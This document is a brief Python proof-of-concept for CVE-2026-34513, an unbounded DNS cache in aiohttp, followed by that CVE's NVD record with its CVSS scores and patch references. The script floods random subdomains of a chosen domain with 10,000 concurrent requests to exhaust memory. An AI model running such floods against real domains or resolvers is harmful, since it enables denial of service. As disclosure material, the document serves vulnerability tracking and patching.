CVE-2026-34513

import asyncio import aiohttp import random import string def generate_random_subdomain(length=8): """Generate a random subdomain to simulate unique DNS lookups""" return ''.join(random.choices(string.ascii_lowercase, k=length)) async def trigger_unbounded_cache(base_url): """ This PoC simulates an attack by sending requests to unique subdomains. In a vulnerable version of aiohttp (<3.13.4), this will fill the DNS cache. """ async with aiohttp.ClientSession() as session: tasks = [] for i in range(10000): # Construct a URL with a unique subdomain subdomain = generate_random_subdomain() target_url = f"http://{subdomain}.{base_url}" # Fire off requests. Note: These will likely fail DNS resolution, # but the cache entry is created during the lookup attempt. tasks.append(session.get(target_url)) # Execute requests responses = await asyncio.gather(*tasks, return_exceptions=True) print(f"Sent {len(responses)} requests. Check memory usage.") if __name__ == "__main__": # Replace with a target domain or use a dummy one if testing local resolver behavior target_domain = "example.com" print(f"Starting PoC for CVE-2026-34513 against {target_domain}...") asyncio.run(trigger_unbounded_cache(target_domain))

{"cve": {"id": "CVE-2026-34513", "sourceIdentifier": "[email protected]", "published": "2026-04-01T21:16:59.267", "lastModified": "2026-04-15T14:16:06.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, an unbounded DNS cache could result in excessive memory usage possibly resulting in a DoS situation. This issue has been patched in version 3.13.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.4", "matchCriteriaId": "7B8B1C30-52F7-467A-A7D0-F6A786E84AF9"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/c4d77c3533122be353b8afca8e8675e3b4cbda98", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hcc4-c3v8-rx92", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}